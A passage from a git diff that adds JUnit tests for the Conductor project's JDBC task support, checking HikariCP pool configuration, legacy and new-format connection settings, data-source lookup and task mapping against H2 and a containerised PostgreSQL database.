config.setDatasourceURL("jdbc:h2:mem:test"); + config.setUser(null); + config.setPassword(null); + + DataSource ds = config.createDataSource("no-creds-pool"); + + assertNotNull(ds); + HikariDataSource hikari = (HikariDataSource) ds; + assertNull(hikari.getUsername()); + assertNull(hikari.getPassword()); + + hikari.close(); + } + + @Test + void testDefaultValues() { + JDBCConnectionConfig config = new JDBCConnectionConfig(); + + assertEquals(32, config.getMaximumPoolSize()); + assertEquals(30000L, config.getIdleTimeoutMs()); + assertEquals(2, config.getMinimumIdle()); + assertEquals(60000L, config.getLeakDetectionThreshold()); + assertEquals(30000L, config.getConnectionTimeout()); + assertEquals(1800000L, config.getMaxLifetime()); + } + + @Test + void testAllArgsConstructor() { + JDBCConnectionConfig config = + new JDBCConnectionConfig( + "jdbc:mysql://localhost/db", + "com.mysql.cj.jdbc.Driver", + "user", + "pass", + 20, + 45000L, + 5, + 50000L, + 20000L, + 600000L); + + assertEquals("jdbc:mysql://localhost/db", config.getDatasourceURL()); + assertEquals("com.mysql.cj.jdbc.Driver", config.getJdbcDriver()); + assertEquals("user", config.getUser()); + assertEquals("pass", config.getPassword()); + assertEquals(20, config.getMaximumPoolSize()); + assertEquals(45000L, config.getIdleTimeoutMs()); + assertEquals(5, config.getMinimumIdle()); + assertEquals(50000L, config.getLeakDetectionThreshold()); + assertEquals(20000L, config.getConnectionTimeout()); + assertEquals(600000L, config.getMaxLifetime()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCEndToEndTest.java b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCEndToEndTest.java new file mode 100644 index 0000000..9567ab7 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCEndToEndTest.java @@ -0,0 +1,357 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.sql.Connection; +import java.sql.PreparedStatement; +import java.sql.SQLException; +import java.util.List; + +import javax.sql.DataSource; + +import org.junit.jupiter.api.AfterAll; +import org.junit.jupiter.api.BeforeAll; +import org.junit.jupiter.api.MethodOrderer; +import org.junit.jupiter.api.Order; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.TestInstance; +import org.junit.jupiter.api.TestMethodOrder; +import org.springframework.core.env.Environment; +import org.testcontainers.containers.PostgreSQLContainer; + +import com.zaxxer.hikari.HikariDataSource; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +/** + * End-to-end tests for the JDBC configuration and execution pipeline using a real PostgreSQL + * database via TestContainers. + */ +@TestInstance(TestInstance.Lifecycle.PER_CLASS) +@TestMethodOrder(MethodOrderer.OrderAnnotation.class) +class JDBCEndToEndTest { + + private static PostgreSQLContainer postgres; + private JDBCProvider provider; + + @BeforeAll + void setup() { + postgres = new PostgreSQLContainer<>("postgres:16-alpine"); + postgres.start(); + + // Configure instances using new format + JDBCConnectionConfig connectionConfig = new JDBCConnectionConfig(); + connectionConfig.setDatasourceURL(postgres.getJdbcUrl()); + connectionConfig.setJdbcDriver("org.postgresql.Driver"); + connectionConfig.setUser(postgres.getUsername()); + connectionConfig.setPassword(postgres.getPassword()); + connectionConfig.setMaximumPoolSize(5); + connectionConfig.setMinimumIdle(1); + + JDBCInstanceConfig.JDBCInstance instance = new JDBCInstanceConfig.JDBCInstance(); + instance.setName("pg-test"); + instance.setConnection(connectionConfig); + + Environment env = mock(Environment.class); + JDBCInstanceConfig instanceConfig = new JDBCInstanceConfig(env); + instanceConfig.setInstances(List.of(instance)); + + provider = new JDBCProvider(instanceConfig); + } + + @AfterAll + void teardown() { + if (provider != null) { + provider.shutdown(); + } + if (postgres != null) { + postgres.stop(); + } + } + + private static JDBCInput inputFor(String connectionId) { + JDBCInput input = new JDBCInput(); + input.setConnectionId(connectionId); + return input; + } + + @Test + @Order(1) + void testProviderReturnsDataSource() { + DataSource ds = provider.get(inputFor("pg-test")); + assertNotNull(ds); + assertInstanceOf(HikariDataSource.class, ds); + } + + @Test + @Order(2) + void testCreateTableAndInsertData() throws SQLException { + DataSource ds = provider.get(inputFor("pg-test")); + assertNotNull(ds); + + try (Connection conn = ds.getConnection()) { + // Create table + try (PreparedStatement stmt = + conn.prepareStatement( + "CREATE TABLE IF NOT EXISTS test_table (" + + "id SERIAL PRIMARY KEY, " + + "name VARCHAR(255), " + + "value INTEGER)")) { + stmt.execute(); + } + + // Insert rows + try (PreparedStatement stmt = + conn.prepareStatement("INSERT INTO test_table (name, value) VALUES (?, ?)")) { + stmt.setString(1, "alpha"); + stmt.setInt(2, 100); + stmt.executeUpdate(); + + stmt.setString(1, "beta"); + stmt.setInt(2, 200); + stmt.executeUpdate(); + + stmt.setString(1, "gamma"); + stmt.setInt(2, 300); + stmt.executeUpdate(); + } + } + } + + @Test + @Order(3) + void testSelectData() throws SQLException { + DataSource ds = provider.get(inputFor("pg-test")); + assertNotNull(ds); + + try (Connection conn = ds.getConnection(); + PreparedStatement stmt = + conn.prepareStatement( + "SELECT name, value FROM test_table ORDER BY value")) { + var rs = stmt.executeQuery(); + + assertTrue(rs.next()); + assertEquals("alpha", rs.getString("name")); + assertEquals(100, rs.getInt("value")); + + assertTrue(rs.next()); + assertEquals("beta", rs.getString("name")); + assertEquals(200, rs.getInt("value")); + + assertTrue(rs.next()); + assertEquals("gamma", rs.getString("name")); + assertEquals(300, rs.getInt("value")); + + assertFalse(rs.next()); + } + } + + @Test + @Order(4) + void testSelectWithParameters() throws SQLException { + DataSource ds = provider.get(inputFor("pg-test")); + assertNotNull(ds); + + try (Connection conn = ds.getConnection(); + PreparedStatement stmt = + conn.prepareStatement( + "SELECT name, value FROM test_table WHERE value > ?")) { + stmt.setInt(1, 150); + var rs = stmt.executeQuery(); + + assertTrue(rs.next()); // beta (200) + assertTrue(rs.next()); // gamma (300) + assertFalse(rs.next()); + } + } + + @Test + @Order(5) + void testUpdateData() throws SQLException { + DataSource ds = provider.get(inputFor("pg-test")); + assertNotNull(ds); + + try (Connection conn = ds.getConnection()) { + conn.setAutoCommit(false); + try (PreparedStatement stmt = + conn.prepareStatement("UPDATE test_table SET value = ? WHERE name = ?")) { + stmt.setInt(1, 999); + stmt.setString(2, "alpha"); + int count = stmt.executeUpdate(); + assertEquals(1, count); + } + conn.commit(); + + // Verify update + try (PreparedStatement stmt = + conn.prepareStatement("SELECT value FROM test_table WHERE name = ?")) { + stmt.setString(1, "alpha"); + var rs = stmt.executeQuery(); + assertTrue(rs.next()); + assertEquals(999, rs.getInt("value")); + } + } + } + + @Test + @Order(6) + void testTransactionRollback() throws SQLException { + DataSource ds = provider.get(inputFor("pg-test")); + assertNotNull(ds); + + try (Connection conn = ds.getConnection()) { + conn.setAutoCommit(false); + try (PreparedStatement stmt = + conn.prepareStatement("UPDATE test_table SET value = 0 WHERE name = ?")) { + stmt.setString(1, "beta"); + stmt.executeUpdate(); + } + conn.rollback(); + + // Verify rollback - value should still be 200 + try (PreparedStatement stmt = + conn.prepareStatement("SELECT value FROM test_table WHERE name = ?")) { + stmt.setString(1, "beta"); + var rs = stmt.executeQuery(); + assertTrue(rs.next()); + assertEquals(200, rs.getInt("value")); + } + } + } + + @Test + @Order(7) + void testConnectionPooling() throws SQLException { + DataSource ds = provider.get(inputFor("pg-test")); + assertNotNull(ds); + assertInstanceOf(HikariDataSource.class, ds); + + HikariDataSource hikari = (HikariDataSource) ds; + assertEquals(5, hikari.getMaximumPoolSize()); + assertEquals(1, hikari.getMinimumIdle()); + + // Open and close multiple connections - should reuse from pool + for (int i = 0; i < 10; i++) { + try (Connection conn = ds.getConnection()) { + assertNotNull(conn); + assertFalse(conn.isClosed()); + } + } + + // Pool should still be running + assertTrue(hikari.isRunning()); + } + + @Test + @Order(8) + void testUnknownInstanceReturnsNull() { + DataSource ds = provider.get(inputFor("nonexistent")); + assertNull(ds); + } + + @Test + @Order(9) + void testLegacyFormatEndToEnd() { + // Simulate legacy Environment-based configuration + Environment env = mock(Environment.class); + when(env.getProperty("conductor.worker.jdbc.connectionIds")).thenReturn("pg-legacy"); + when(env.getProperty("conductor.worker.jdbc.pg-legacy.connectionURL")) + .thenReturn(postgres.getJdbcUrl()); + when(env.getProperty("conductor.worker.jdbc.pg-legacy.driverClassName")) + .thenReturn("org.postgresql.Driver"); + when(env.getProperty("conductor.worker.jdbc.pg-legacy.username")) + .thenReturn(postgres.getUsername()); + when(env.getProperty("conductor.worker.jdbc.pg-legacy.password")) + .thenReturn(postgres.getPassword()); + when(env.getProperty( + "conductor.worker.jdbc.pg-legacy.maximum-pool-size", Integer.class, 10)) + .thenReturn(3); + when(env.getProperty( + "conductor.worker.jdbc.pg-legacy.idle-timeout-ms", Long.class, 300000L)) + .thenReturn(300000L); + when(env.getProperty("conductor.worker.jdbc.pg-legacy.minimum-idle", Integer.class, 1)) + .thenReturn(1); + when(env.getProperty("conductor.worker.jdbc.default.maximum-pool-size", Integer.class, 10)) + .thenReturn(10); + when(env.getProperty("conductor.worker.jdbc.default.idle-timeout-ms", Long.class, 300000L)) + .thenReturn(300000L); + when(env.getProperty("conductor.worker.jdbc.default.minimum-idle", Integer.class, 1)) + .thenReturn(1); + + JDBCInstanceConfig instanceConfig = new JDBCInstanceConfig(env); + instanceConfig.setInstances(null); // Force legacy fallback + + JDBCProvider legacyProvider = new JDBCProvider(instanceConfig); + DataSource legacyDs = legacyProvider.get(inputFor("pg-legacy")); + + assertNotNull(legacyDs); + + // Verify it can actually connect to the database + try (Connection conn = legacyDs.getConnection(); + PreparedStatement stmt = conn.prepareStatement("SELECT COUNT(*) FROM test_table")) { + var rs = stmt.executeQuery(); + assertTrue(rs.next()); + assertTrue(rs.getInt(1) > 0); + } catch (SQLException e) { + fail("Legacy datasource should be able to query: " + e.getMessage()); + } + + legacyProvider.shutdown(); + } + + @Test + @Order(10) + void testMultipleInstancesSameDatabase() { + // Configure two instances pointing to same database with different pool settings + JDBCConnectionConfig config1 = new JDBCConnectionConfig(); + config1.setDatasourceURL(postgres.getJdbcUrl()); + config1.setJdbcDriver("org.postgresql.Driver"); + config1.setUser(postgres.getUsername()); + config1.setPassword(postgres.getPassword()); + config1.setMaximumPoolSize(2); + + JDBCConnectionConfig config2 = new JDBCConnectionConfig(); + config2.setDatasourceURL(postgres.getJdbcUrl()); + config2.setJdbcDriver("org.postgresql.Driver"); + config2.setUser(postgres.getUsername()); + config2.setPassword(postgres.getPassword()); + config2.setMaximumPoolSize(3); + + JDBCInstanceConfig.JDBCInstance instance1 = new JDBCInstanceConfig.JDBCInstance(); + instance1.setName("reader"); + instance1.setConnection(config1); + + JDBCInstanceConfig.JDBCInstance instance2 = new JDBCInstanceConfig.JDBCInstance(); + instance2.setName("writer"); + instance2.setConnection(config2); + + Environment env = mock(Environment.class); + JDBCInstanceConfig instanceConfig = new JDBCInstanceConfig(env); + instanceConfig.setInstances(List.of(instance1, instance2)); + + JDBCProvider multiProvider = new JDBCProvider(instanceConfig); + + DataSource readerDs = multiProvider.get(inputFor("reader")); + DataSource writerDs = multiProvider.get(inputFor("writer")); + + assertNotNull(readerDs); + assertNotNull(writerDs); + assertNotSame(readerDs, writerDs); + + assertEquals(2, ((HikariDataSource) readerDs).getMaximumPoolSize()); + assertEquals(3, ((HikariDataSource) writerDs).getMaximumPoolSize()); + + multiProvider.shutdown(); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfigTest.java b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfigTest.java new file mode 100644 index 0000000..679643c --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfigTest.java @@ -0,0 +1,274 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.util.List; +import java.util.Map; + +import javax.sql.DataSource; + +import org.junit.jupiter.api.Test; +import org.springframework.core.env.Environment; + +import com.zaxxer.hikari.HikariDataSource; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class JDBCInstanceConfigTest { + + @Test + void testNewFormatSingleInstance() { + Environment env = mock(Environment.class); + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + + JDBCConnectionConfig connectionConfig = new JDBCConnectionConfig(); + connectionConfig.setDatasourceURL("jdbc:h2:mem:test"); + connectionConfig.setMaximumPoolSize(5); + + JDBCInstanceConfig.JDBCInstance instance = new JDBCInstanceConfig.JDBCInstance(); + instance.setName("h2-test"); + instance.setConnection(connectionConfig); + + config.setInstances(List.of(instance)); + + Map result = config.getJDBCInstances(); + + assertEquals(1, result.size()); + assertNotNull(result.get("h2-test")); + assertInstanceOf(HikariDataSource.class, result.get("h2-test")); + + // Cleanup + ((HikariDataSource) result.get("h2-test")).close(); + } + + @Test + void testNewFormatMultipleInstances() { + Environment env = mock(Environment.class); + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + + JDBCConnectionConfig config1 = new JDBCConnectionConfig(); + config1.setDatasourceURL("jdbc:h2:mem:db1"); + JDBCInstanceConfig.JDBCInstance instance1 = new JDBCInstanceConfig.JDBCInstance(); + instance1.setName("db1"); + instance1.setConnection(config1); + + JDBCConnectionConfig config2 = new JDBCConnectionConfig(); + config2.setDatasourceURL("jdbc:h2:mem:db2"); + JDBCInstanceConfig.JDBCInstance instance2 = new JDBCInstanceConfig.JDBCInstance(); + instance2.setName("db2"); + instance2.setConnection(config2); + + config.setInstances(List.of(instance1, instance2)); + + Map result = config.getJDBCInstances(); + + assertEquals(2, result.size()); + assertNotNull(result.get("db1")); + assertNotNull(result.get("db2")); + + // Cleanup + result.values().forEach(ds -> ((HikariDataSource) ds).close()); + } + + @Test + void testNewFormatSkipsInstanceWithNullConfig() { + Environment env = mock(Environment.class); + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + + JDBCInstanceConfig.JDBCInstance instance = new JDBCInstanceConfig.JDBCInstance(); + instance.setName("broken"); + instance.setConnection(null); + + config.setInstances(List.of(instance)); + + Map result = config.getJDBCInstances(); + + assertTrue(result.isEmpty()); + } + + @Test + void testEmptyInstances() { + Environment env = mock(Environment.class); + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + config.setInstances(List.of()); + + Map result = config.getJDBCInstances(); + + assertTrue(result.isEmpty()); + } + + @Test + void testNullInstances() { + Environment env = mock(Environment.class); + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + config.setInstances(null); + + Map result = config.getJDBCInstances(); + + assertTrue(result.isEmpty()); + } + + @Test + void testLegacyFormatFallback() { + Environment env = mock(Environment.class); + when(env.getProperty("conductor.worker.jdbc.connectionIds")).thenReturn("mysql,postgres"); + + // MySQL config + when(env.getProperty("conductor.worker.jdbc.mysql.connectionURL")) + .thenReturn("jdbc:h2:mem:mysql"); + when(env.getProperty("conductor.worker.jdbc.mysql.driverClassName")) + .thenReturn("org.h2.Driver"); + when(env.getProperty("conductor.worker.jdbc.mysql.username")).thenReturn("root"); + when(env.getProperty("conductor.worker.jdbc.mysql.password")).thenReturn("pass"); + when(env.getProperty("conductor.worker.jdbc.mysql.maximum-pool-size", Integer.class, 10)) + .thenReturn(5); + when(env.getProperty("conductor.worker.jdbc.mysql.idle-timeout-ms", Long.class, 300000L)) + .thenReturn(300000L); + when(env.getProperty("conductor.worker.jdbc.mysql.minimum-idle", Integer.class, 1)) + .thenReturn(1); + + // Postgres config + when(env.getProperty("conductor.worker.jdbc.postgres.connectionURL")) + .thenReturn("jdbc:h2:mem:pg"); + when(env.getProperty("conductor.worker.jdbc.postgres.driverClassName")) + .thenReturn("org.h2.Driver"); + when(env.getProperty("conductor.worker.jdbc.postgres.username")).thenReturn("pguser"); + when(env.getProperty("conductor.worker.jdbc.postgres.password")).thenReturn("pgpass"); + when(env.getProperty("conductor.worker.jdbc.postgres.maximum-pool-size", Integer.class, 10)) + .thenReturn(10); + when(env.getProperty("conductor.worker.jdbc.postgres.idle-timeout-ms", Long.class, 300000L)) + .thenReturn(300000L); + when(env.getProperty("conductor.worker.jdbc.postgres.minimum-idle", Integer.class, 1)) + .thenReturn(1); + + // Defaults + when(env.getProperty("conductor.worker.jdbc.default.maximum-pool-size", Integer.class, 10)) + .thenReturn(10); + when(env.getProperty("conductor.worker.jdbc.default.idle-timeout-ms", Long.class, 300000L)) + .thenReturn(300000L); + when(env.getProperty("conductor.worker.jdbc.default.minimum-idle", Integer.class, 1)) + .thenReturn(1); + + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + config.setInstances(null); // No new-format instances + + Map result = config.getJDBCInstances(); + + assertEquals(2, result.size()); + assertNotNull(result.get("mysql")); + assertNotNull(result.get("postgres")); + + HikariDataSource mysqlDs = (HikariDataSource) result.get("mysql"); + assertEquals("jdbc:h2:mem:mysql", mysqlDs.getJdbcUrl()); + assertEquals("root", mysqlDs.getUsername()); + assertEquals(5, mysqlDs.getMaximumPoolSize()); + + HikariDataSource pgDs = (HikariDataSource) result.get("postgres"); + assertEquals("jdbc:h2:mem:pg", pgDs.getJdbcUrl()); + assertEquals("pguser", pgDs.getUsername()); + + // Cleanup + result.values().forEach(ds -> ((HikariDataSource) ds).close()); + } + + @Test + void testLegacyFormatSkipsMissingURL() { + Environment env = mock(Environment.class); + when(env.getProperty("conductor.worker.jdbc.connectionIds")).thenReturn("broken"); + when(env.getProperty("conductor.worker.jdbc.broken.connectionURL")).thenReturn(null); + when(env.getProperty("conductor.worker.jdbc.broken.driverClassName")).thenReturn(null); + + when(env.getProperty("conductor.worker.jdbc.default.maximum-pool-size", Integer.class, 10)) + .thenReturn(10); + when(env.getProperty("conductor.worker.jdbc.default.idle-timeout-ms", Long.class, 300000L)) + .thenReturn(300000L); + when(env.getProperty("conductor.worker.jdbc.default.minimum-idle", Integer.class, 1)) + .thenReturn(1); + + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + config.setInstances(null); + + Map result = config.getJDBCInstances(); + + assertTrue(result.isEmpty()); + } + + @Test + void testLegacyFormatNotUsedWhenNewFormatConfigured() { + Environment env = mock(Environment.class); + // Legacy config exists but should be ignored + when(env.getProperty("conductor.worker.jdbc.connectionIds")).thenReturn("legacy-db"); + + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + + JDBCConnectionConfig connectionConfig = new JDBCConnectionConfig(); + connectionConfig.setDatasourceURL("jdbc:h2:mem:new"); + JDBCInstanceConfig.JDBCInstance instance = new JDBCInstanceConfig.JDBCInstance(); + instance.setName("new-db"); + instance.setConnection(connectionConfig); + + config.setInstances(List.of(instance)); + + Map result = config.getJDBCInstances(); + + // Only new-format instance should be present + assertEquals(1, result.size()); + assertNotNull(result.get("new-db")); + assertNull(result.get("legacy-db")); + + // Legacy connectionIds should NOT have been read + verify(env, never()).getProperty("conductor.worker.jdbc.connectionIds"); + + // Cleanup + result.values().forEach(ds -> ((HikariDataSource) ds).close()); + } + + @Test + void testLegacyFormatNoConnectionIds() { + Environment env = mock(Environment.class); + when(env.getProperty("conductor.worker.jdbc.connectionIds")).thenReturn(null); + + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + config.setInstances(null); + + Map result = config.getJDBCInstances(); + + assertTrue(result.isEmpty()); + } + + @Test + void testLegacyFormatBlankConnectionIds() { + Environment env = mock(Environment.class); + when(env.getProperty("conductor.worker.jdbc.connectionIds")).thenReturn(" "); + + JDBCInstanceConfig config = new JDBCInstanceConfig(env); + config.setInstances(null); + + Map result = config.getJDBCInstances(); + + assertTrue(result.isEmpty()); + } + + @Test + void testJDBCInstanceGettersAndSetters() { + JDBCInstanceConfig.JDBCInstance instance = new JDBCInstanceConfig.JDBCInstance(); + + instance.setName("test-name"); + assertEquals("test-name", instance.getName()); + + JDBCConnectionConfig conn = new JDBCConnectionConfig(); + instance.setConnection(conn); + assertSame(conn, instance.getConnection()); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCProviderTest.java b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCProviderTest.java new file mode 100644 index 0000000..ab02139 --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCProviderTest.java @@ -0,0 +1,146 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.util.Collections; +import java.util.HashMap; +import java.util.Map; + +import javax.sql.DataSource; + +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; +import static org.mockito.Mockito.*; + +class JDBCProviderTest { + + private JDBCProvider createProvider(Map instances) { + JDBCInstanceConfig instanceConfig = mock(JDBCInstanceConfig.class); + when(instanceConfig.getJDBCInstances()).thenReturn(instances); + return new JDBCProvider(instanceConfig); + } + + private JDBCInput inputWithConnectionId(String connectionId) { + JDBCInput input = new JDBCInput(); + input.setConnectionId(connectionId); + return input; + } + + private JDBCInput inputWithIntegrationName(String integrationName) { + JDBCInput input = new JDBCInput(); + input.setIntegrationName(integrationName); + return input; + } + + @Test + void testEmptyConfigList() { + JDBCProvider provider = createProvider(Collections.emptyMap()); + assertNull(provider.get(inputWithConnectionId("mysql-prod"))); + } + + @Test + void testGetByConnectionId() { + DataSource mockDataSource = mock(DataSource.class); + JDBCProvider provider = createProvider(Map.of("mysql-prod", mockDataSource)); + + assertSame(mockDataSource, provider.get(inputWithConnectionId("mysql-prod"))); + } + + @Test + void testGetByIntegrationName() { + DataSource mockDataSource = mock(DataSource.class); + JDBCProvider provider = createProvider(Map.of("my-integration", mockDataSource)); + + assertSame(mockDataSource, provider.get(inputWithIntegrationName("my-integration"))); + } + + @Test + void testConnectionIdTakesPrecedenceOverIntegrationName() { + DataSource connDs = mock(DataSource.class); + DataSource integDs = mock(DataSource.class); + + Map instances = new HashMap<>(); + instances.put("conn-id", connDs); + instances.put("integ-name", integDs); + JDBCProvider provider = createProvider(instances); + + JDBCInput input = new JDBCInput(); + input.setConnectionId("conn-id"); + input.setIntegrationName("integ-name"); + + assertSame(connDs, provider.get(input)); + } + + @Test + void testGetUnregisteredInstance() { + DataSource mockDataSource = mock(DataSource.class); + JDBCProvider provider = createProvider(Map.of("mysql-prod", mockDataSource)); + + assertNull(provider.get(inputWithConnectionId("unknown"))); + } + + @Test + void testMultipleInstances() { + DataSource mockMysql = mock(DataSource.class); + DataSource mockPostgres = mock(DataSource.class); + + Map instances = new HashMap<>(); + instances.put("mysql-prod", mockMysql); + instances.put("postgres-analytics", mockPostgres); + JDBCProvider provider = createProvider(instances); + + assertSame(mockMysql, provider.get(inputWithConnectionId("mysql-prod"))); + assertSame(mockPostgres, provider.get(inputWithConnectionId("postgres-analytics"))); + } + + @Test + void testBothConnectionIdAndIntegrationNameNull() { + JDBCProvider provider = createProvider(Collections.emptyMap()); + + JDBCInput input = new JDBCInput(); + // both null + assertNull(provider.get(input)); + } + + @Test + void testConfigExceptionDoesNotPropagate() { + JDBCInstanceConfig instanceConfig = mock(JDBCInstanceConfig.class); + when(instanceConfig.getJDBCInstances()).thenThrow(new RuntimeException("Config error")); + + JDBCProvider provider = new JDBCProvider(instanceConfig); + + assertNull(provider.get(inputWithConnectionId("anything"))); + } + + @Test + void testShutdownClosesHikariPools() { + com.zaxxer.hikari.HikariDataSource mockHikari1 = + mock(com.zaxxer.hikari.HikariDataSource.class); + com.zaxxer.hikari.HikariDataSource mockHikari2 = + mock(com.zaxxer.hikari.HikariDataSource.class); + + Map instances = new HashMap<>(); + instances.put("ds1", mockHikari1); + instances.put("ds2", mockHikari2); + JDBCProvider provider = createProvider(instances); + + provider.shutdown(); + + verify(mockHikari1).close(); + verify(mockHikari2).close(); + + assertNull(provider.get(inputWithConnectionId("ds1"))); + assertNull(provider.get(inputWithConnectionId("ds2"))); + } +} diff --git a/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCTaskMapperTest.java b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCTaskMapperTest.java new file mode 100644 index 0000000..4a62e3a --- /dev/null +++ b/ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCTaskMapperTest.java @@ -0,0 +1,199 @@ +/* + * Copyright 2026 Conductor Authors. + *

+ * Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with + * the License. You may obtain a copy of the License at + *

+ * http://www.apache.org/licenses/LICENSE-2.0 + *

+ * Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on + * an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the + * specific language governing permissions and limitations under the License. + */ +package org.conductoross.conductor.ai.sql; + +import java.util.HashMap; +import java.util.List; +import java.util.Map; + +import org.junit.jupiter.api.BeforeEach; +import org.junit.jupiter.api.Test; + +import com.netflix.conductor.common.metadata.tasks.TaskDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowDef; +import com.netflix.conductor.common.metadata.workflow.WorkflowTask; +import com.netflix.conductor.core.execution.mapper.TaskMapperContext; +import com.netflix.conductor.core.utils.IDGenerator; +import com.netflix.conductor.model.TaskModel; +import com.netflix.conductor.model.WorkflowModel; + +import static org.junit.jupiter.api.Assertions.*; + +class JDBCTaskMapperTest { + + private JDBCTaskMapper mapper; + private IDGenerator idGenerator; + + @BeforeEach + void setUp() { + mapper = new JDBCTaskMapper(); + idGenerator = new IDGenerator(); + } + + @Test + void testGetTaskType() { + assertEquals("JDBC", mapper.getTaskType()); + } + + @Test + void testGetMappedTasks() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("jdbc_task"); + workflowTask.setType("JDBC"); + workflowTask.setTaskDefinition(new TaskDef("jdbc_task")); + + String taskId = idGenerator.generate(); + String retriedTaskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(new WorkflowDef()); + + Map input = new HashMap<>(); + input.put("connectionId", "mydb"); + input.put("type", "SELECT"); + input.put("statement", "SELECT * FROM users"); + + TaskMapperContext context = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef("jdbc_task")) + .withWorkflowTask(workflowTask) + .withTaskInput(input) + .withRetryCount(0) + .withRetryTaskId(retriedTaskId) + .withTaskId(taskId) + .build(); + + List mappedTasks = mapper.getMappedTasks(context); + + assertEquals(1, mappedTasks.size()); + TaskModel task = mappedTasks.get(0); + assertEquals("JDBC", task.getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, task.getStatus()); + assertEquals(taskId, task.getTaskId()); + assertEquals(retriedTaskId, task.getRetriedTaskId()); + assertEquals(0, task.getRetryCount()); + assertEquals("mydb", task.getInputData().get("connectionId")); + assertEquals("SELECT", task.getInputData().get("type")); + assertEquals("SELECT * FROM users", task.getInputData().get("statement")); + } + + @Test + void testGetMappedTasksWithNoTaskDefinition() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("jdbc_task"); + workflowTask.setType("JDBC"); + // No task definition set + + String taskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(new WorkflowDef()); + + Map input = new HashMap<>(); + input.put("connectionId", "mydb"); + input.put("type", "UPDATE"); + input.put("statement", "UPDATE users SET active = true"); + + TaskMapperContext context = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withWorkflowTask(workflowTask) + .withTaskInput(input) + .withRetryCount(2) + .withTaskId(taskId) + .build(); + + List mappedTasks = mapper.getMappedTasks(context); + + assertEquals(1, mappedTasks.size()); + TaskModel task = mappedTasks.get(0); + assertEquals("JDBC", task.getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, task.getStatus()); + assertEquals(2, task.getRetryCount()); + } + + @Test + void testGetMappedTasksWithIntegrationName() { + WorkflowTask workflowTask = new WorkflowTask(); + workflowTask.setName("jdbc_task"); + workflowTask.setType("JDBC"); + workflowTask.setTaskDefinition(new TaskDef("jdbc_task")); + + String taskId = idGenerator.generate(); + + WorkflowModel workflow = new WorkflowModel(); + workflow.setWorkflowDefinition(new WorkflowDef()); + + Map input = new HashMap<>(); + input.put("integrationName", "prod-mysql"); + input.put("type", "SELECT"); + input.put("statement", "SELECT 1"); + + TaskMapperContext context = + TaskMapperContext.newBuilder() + .withWorkflowModel(workflow) + .withTaskDefinition(new TaskDef("jdbc_task")) + .withWorkflowTask(workflowTask) + .withTaskInput(input) + .withRetryCount(0) + .withTaskId(taskId) + .build(); + + List mappedTasks = mapper.getMappedTasks(context); + + assertEquals(1, mappedTasks.size()); + TaskModel task = mappedTasks.get(0); + assertEquals("JDBC", task.getTaskType()); + assertEquals(TaskModel.Status.SCHEDULED, task.getStatus()); + assertEquals("prod-mysql", task.getInputData().get("integrationName")); + } 